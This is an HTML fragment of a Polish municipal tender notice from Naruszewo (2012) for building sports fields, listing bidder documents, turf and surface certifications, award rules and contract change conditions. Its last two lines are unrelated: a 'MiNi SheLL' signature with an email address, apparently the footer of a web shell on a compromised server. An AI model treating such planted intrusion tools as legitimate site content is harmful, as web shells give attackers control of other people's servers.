<li  style="margin-bottom: 12px;">wykaz robót budowlanych w zakresie niezbędnym do wykazania spełniania warunku  wiedzy i doświadczenia, wykonanych w okresie ostatnich pięciu lat przed upływem terminu składania ofert albo wniosków o dopuszczenie do udziału w postępowaniu, a jeżeli okres prowadzenia działalności jest krótszy - w tym okresie, z podaniem ich rodzaju i wartości, daty i miejsca wykonania oraz załączeniem dokumentu potwierdzającego, że roboty zostały wykonane zgodnie z zasadami sztuki budowlanej i prawidłowo ukończone</li>

<li  style="margin-bottom: 12px;">wykaz osób, które będą uczestniczyć w wykonywaniu zamówienia, w szczególności odpowiedzialnych za świadczenie usług, kontrolę jakości lub kierowanie robotami budowlanymi, wraz z informacjami na temat ich kwalifikacji zawodowych, doświadczenia i wykształcenia niezbędnych dla wykonania zamówienia, a także zakresu wykonywanych przez nie czynności, oraz informacją o podstawie do dysponowania tymi osobami</li>

<li  style="margin-bottom: 12px;">oświadczenie, że osoby, które będą uczestniczyć w wykonywaniu zamówienia, posiadają wymagane uprawnienia, jeżeli ustawy nakładają obowiązek posiadania takich uprawnień</li>

<li  style="margin-bottom: 12px;">opłaconą polisę, a w przypadku jej braku inny dokument potwierdzający, że wykonawca jest ubezpieczony od odpowiedzialności cywilnej w zakresie prowadzonej działalności związanej z przedmiotem zamówienia</li>

</ul></li>

<li><p><b>III.4.2) W zakresie potwierdzenia niepodlegania wykluczeniu na podstawie art. 24 ust. 1 ustawy, należy przedłożyć:</b></p>

<ul style="text-align: justify; margin-right: 20px; list-style: disc"><li style="margin-bottom: 12px;">oświadczenie o braku podstaw do wykluczenia</li>

<li style="margin-bottom: 12px;">wykonawca powołujący się przy wykazywaniu spełniania warunków udziału w postępowaniu na potencjał innych podmiotów, które będą brały udział w realizacji części zamówienia, przedkłada także dokumenty dotyczące tego podmiotu w zakresie wymaganym dla wykonawcy, określonym w pkt III.4.2.</li>

</ul></li>
<li>
</li>
</ul>
<br><p class="bold">

III.5) INFORMACJA O DOKUMENTACH POTWIERDZAJĄCYCH, ŻE OFEROWANE DOSTAWY , USŁUGI LUB ROBOTY BUDOWLANE ODPOWIADAJĄ OKREŚLONYM WYMAGANIOM</p>
<p class="bold">W zakresie potwierdzenia, że oferowane dostawy, usługi lub roboty budowlane odpowiadają określonym wymaganiom należy przedłożyć:</p>
<ul style="text-align: justify; margin-right: 20px; list-style: disc">
<li style="margin-bottom: 12px;"><p style="margin: 0px; padding: 0px;">inne dokumenty</p>
<p style="margin: 0px; padding: 0px;">1. Na potwierdzenie, że oferowane roboty budowlane odpowiadają wymaganiom określonym przez Zamawiającego, Wykonawca zobowiązany jest dołączyć do oferty następujące próbki: a)	oferowanej trawy syntetycznej (min. 25 cm x 15 cm) z metryką producenta określającą nazwę produktu, podstawowe parametry, b) maty elastycznej z nazwą produktu (min. 25 cm x 15 cm) z metryką producenta określającą nazwę produktu, podstawowe parametry, c) granulatu gumowego (min. 100 g) do wypełnienia trawy syntetycznej z metryką producenta określającą nazwę i rodzaj, d) nawierzchni poliuretanowej (min. 25 cm x 15 cm) z metryką producenta określającą nazwę produktu, podstawowe parametry. 2. Jakość trawy syntetycznej do wykonania niniejszego zadania powinna być potwierdzona przez: a) autoryzację producenta nawierzchni wystawioną dla Wykonawcy na realizowaną inwestycję z określeniem miejsca wykonania prac (miejsce wbudowania, nazwa inwestycji), b) kartę techniczną nawierzchni z trawy syntetycznej poświadczoną przez producenta z określeniem miejsca wykonywania prac (miejsce wbudowania, nazwa inwestycji), c) atest PZH lub równoważny dla oferowanej nawierzchni i wypełnienia, d) wyniki badań laboratoryjnych nawierzchni potwierdzające technologię produkcji sztucznej trawy oraz spełnianie wymogów FIFA Quality Concept for Football Turf z określeniem wszystkich elementów systemu nawierzchni (trawa, mata, granulat) wykonane przez autoryzowane laboratorium np.: Labosport, ISA Sport, Sportlabs, Ercat. 3. Jakość nawierzchni poliuretanowej do wykonania niniejszego zadania powinna być potwierdzona przez: a)	certyfikat lub deklarację zgodności z normą PN-EN 14877:2008 lub b) aprobatę techniczną ITB lub c) wyniki badań specjalistycznego labolatorium potwierdzające parametry oferowanej nawierzchni, np. Labosport lub dokument równoważny, d) kartę techniczną oferowanej nawierzchni potwierdzoną przez jej producenta, e) atest PZH dla oferowanej nawierzchni, f)	autoryzację producenta nawierzchni poliuretanowej wystawioną dla Wykonawcy na realizowaną inwestycję. 4. Jakość oferowanych siedzisk powinna być potwierdzona przez: 
a) atest ergonomiczny, b) atest potwierdzający trudnozapalność (atest wykonany przez ITB), c) atest Instytutu Inżynierii Materiałów Włókienniczych potwierdzający zgodność z obowiązującymi przepisami w zakresie toksyczności.</p></li>



</ul><p class="bold">III.6) INNE DOKUMENTY</p>
<p class="bold">Inne dokumenty niewymienione w pkt III.4) albo w pkt III.5)</p>
<p>Oprócz dokumentów oraz oświadczeń wymienionych w Rozdziale VIII i IX SIWZ należy złożyć: a) formularz ofertowy (Załącznik Nr 1 do SIWZ), b)	uproszczony kosztorys ofertowy wraz z tabelą wartości elementów scalonych, c) kserokopię dowodu wpłaty wadium, jeśli zostało wpłacone w formie pieniądza; wadium wnoszone w formie innej niż pieniądz, należy załączyć do oferty w postaci oryginału dokumentu (w celu możliwości jego zwrotu lub zatrzymania) oraz w formie kserokopii dokumentu potwierdzonej za zgodność z oryginałem, d) niezbędne pełnomocnictwa, jeżeli zostały udzielone, e) zobowiązanie innych podmiotów do oddania Wykonawcy do dyspozycji niezbędnych zasobów na okres korzystania z nich przy wykonywaniu zamówienia - jeżeli dotyczy (Załącznik Nr 6 do SIWZ). f) Jeżeli Wykonawca ma siedzibę lub miejsce zamieszkania poza terytorium Rzeczypospolitej Polskiej, składa dokumenty zgodnie z § 4 Rozporządzenia Prezesa Rady Ministrów z dnia 30 grudnia 2009 roku w sprawie rodzajów dokumentów, jakich może żądać Zamawiający od Wykonawcy oraz form, 
w jakich te dokumenty mogą być składane (Dz. U. z 2009 r., Nr 226, poz. 1817). Wykonawca jest zobowiązany złożyć wszystkie dokumenty zgodnie z SIWZ (na wzorach stanowiących załączniki do niniejszej specyfikacji). Dokumenty sporządzone w języku obcym są składane wraz z tłumaczeniem na język polski.</p>
<p><b>III.7) Czy ogranicza się możliwość ubiegania się o zamówienie publiczne tylko dla wykonawców, u których ponad 50 % pracowników stanowią osoby niepełnosprawne: </b>nie</p>


<p class="kh_title">SEKCJA IV: PROCEDURA</p>
<p><b>IV.1) TRYB UDZIELENIA ZAMÓWIENIA</b></p>
<p><b>IV.1.1) Tryb udzielenia zamówienia:</b> przetarg nieograniczony.</p>

<p><b>IV.2) KRYTERIA OCENY OFERT</b></p>
<p><b>IV.2.1) Kryteria oceny ofert: </b>najniższa cena.</p>
<p><b>IV.2.2) Czy przeprowadzona będzie aukcja elektroniczna:</b> nie.</p>
<p><b>IV.3) ZMIANA UMOWY</b></p>
<p><b>Czy przewiduje się istotne zmiany postanowień zawartej umowy w stosunku do treści oferty, na podstawie której dokonano wyboru wykonawcy: </b>tak</p>
<p><b>Dopuszczalne zmiany postanowień umowy oraz określenie warunków zmian</b></p>
<p>1. Istotne zmiany treści niniejszej umowy, przewidziane przez Zamawiającego, wymagają zachowania formy pisemnej pod rygorem nieważności. 2. Zamawiający przewiduje możliwość dokonania zmian postanowień zawartej umowy w sytuacji niemożliwej do przewidzenia w chwili zawarcia umowy, na uzasadniony wniosek w następujących przypadkach: 1) zmiany adresu Wykonawcy, 2) zmiany nazwy firmy Wykonawcy, 3) wystąpi konieczność zmiany kadry przewidzianej do realizacji umowy (zmiana kluczowego personelu Wykonawcy lub Zamawiającego), 4) wystąpi konieczność zmiany konta bankowego Wykonawcy, 5)	w przypadku konieczności zmiany przedstawicieli Zamawiającego i Wykonawcy, 6) Zamawiający przewiduje możliwość dokonania zmiany podwykonawcy i lub części wykonywanego przez niego zakresu robót, bądź wprowadzenia nowego podwykonawcy, 7) wystąpi konieczność przedłużenia terminu wykonania przedmiotu zamówienia spowodowana: a) zmianą dokumentacji projektowej w przypadku wystąpienia konieczności jej zmiany m.in. w zakresie aktualizacji rozwiązań projektowych z uwagi na postęp technologiczny, 
z powodu wad ukrytych, istotnych braków lub błędów w dokumentacji projektowej również polegających na niezgodności z przepisami prawa, b) siłą wyższą lub innymi okolicznościami niezależnymi od Wykonawcy lub których Wykonawca przy zachowaniu należytej staranności nie był w stanie uniknąć lub przewidzieć, c)	nie uzyskaniem decyzji administracyjnych, uzgodnień, opinii, niezbędnych do zakończenia prac stanowiących przedmiot umowy, pomimo złożenia kompletnych wniosków do właściwych organów w terminach przewidzianych w odpowiednich przepisach na ich wydanie, d)	zmiany przepisów prawnych istotnych dla realizacji przedmiotu umowy i mających wpływ na zakres lub termin wykonania przedmiotu zamówienia, e) przedłużenia, w stosunku do terminów określonych przepisami prawa, czasu trwania procedur administracyjnych, mających wpływ na termin wykonania przedmiotu zamówienia, a nie wynikających z przyczyn leżących po stronie Wykonawcy, f) wystąpienia wyjątkowo niesprzyjających warunków atmosferycznych uniemożliwiających, w okresie ich występowania, realizację przedmiotu zamówienia i mających wpływ na termin wykonania, g)	wystąpienia konieczności wykonania robót zamiennych mających wpływ na koszt i/lub termin realizacji zadania podstawowego, h) ujawnienia wad opracowania projektowego, o których Zamawiający nie posiadał wiedzy, a które mają wpływ na termin lub koszt realizacji przedmiotu zamówienia, i) nie przekazania Wykonawcy przez Zamawiającego dokumentów budowy, do których przekazania Zamawiający był zobowiązany, j) wstrzymania przez Zamawiającego wykonania robót nie wynikających z okoliczności leżących po stronie Wykonawcy (nie dotyczy okoliczności wstrzymania robót przez Inspektora Nadzoru Inwestorskiego w przypadku stwierdzenia nieprawidłowości zawinionych przez Wykonawcę).</p>
<p><b>IV.4) INFORMACJE ADMINISTRACYJNE</b></p>
<p><b>IV.4.1)</b>&nbsp;<b>Adres strony internetowej, na której jest dostępna specyfikacja istotnych warunków zamówienia:</b> www.ugnaruszewo.bip.org.pl<br>
<b>Specyfikację istotnych warunków zamówienia można uzyskać pod adresem:</b> Urząd Gminy w Naruszewie, Naruszewo 19A, 09 - 152 Naruszewo, powiat płoński, woj. mazowieckie.</p>
<p><b>IV.4.4) Termin składania wniosków o dopuszczenie do udziału w postępowaniu lub ofert:</b> 26.09.2012 godzina 11:00, miejsce: Urząd Gminy w Naruszewie, Naruszewo 19A, 09 - 152 Naruszewo, powiat płoński, woj. mazowieckie, pokój nr 3 (sekretariat urzędu).</p>
<p><b>IV.4.5) Termin związania ofertą:</b> okres w dniach: 30 (od ostatecznego terminu składania ofert).</p>




<p><b>IV.4.16) Informacje dodatkowe, w tym dotyczące finansowania projektu/programu ze środków Unii Europejskiej:</b> Projekt jest współfinansowany ze środków Unii Europejskiej w ramach Działania Odnowa i rozwój wsi objętego PROW na lata 2007 - 2013 zgodnie z umową o przyznanie pomocy nr 00354-6922-UM0700303/10 RW.II/AR/0219.4-303/10 na realizację operacji pn. Odnowa miejscowości Naruszewo poprzez budowę zespołu boisk i urządzeń lekkoatletycznych zawartą z Samorządem Województwa Mazowieckiego w Warszawie w dn. 31 stycznia 2012 r.</p>
<p><b>IV.4.17) Czy przewiduje się unieważnienie postępowania o udzielenie zamówienia, w przypadku nieprzyznania środków pochodzących z budżetu Unii Europejskiej oraz niepodlegających zwrotowi środków z pomocy udzielonej przez państwa członkowskie Europejskiego Porozumienia o Wolnym Handlu (EFTA), które miały być przeznaczone na sfinansowanie całości lub części zamówienia: </b> nie</p>

Creat By MiNi SheLL
Email: jattceo@gmail.com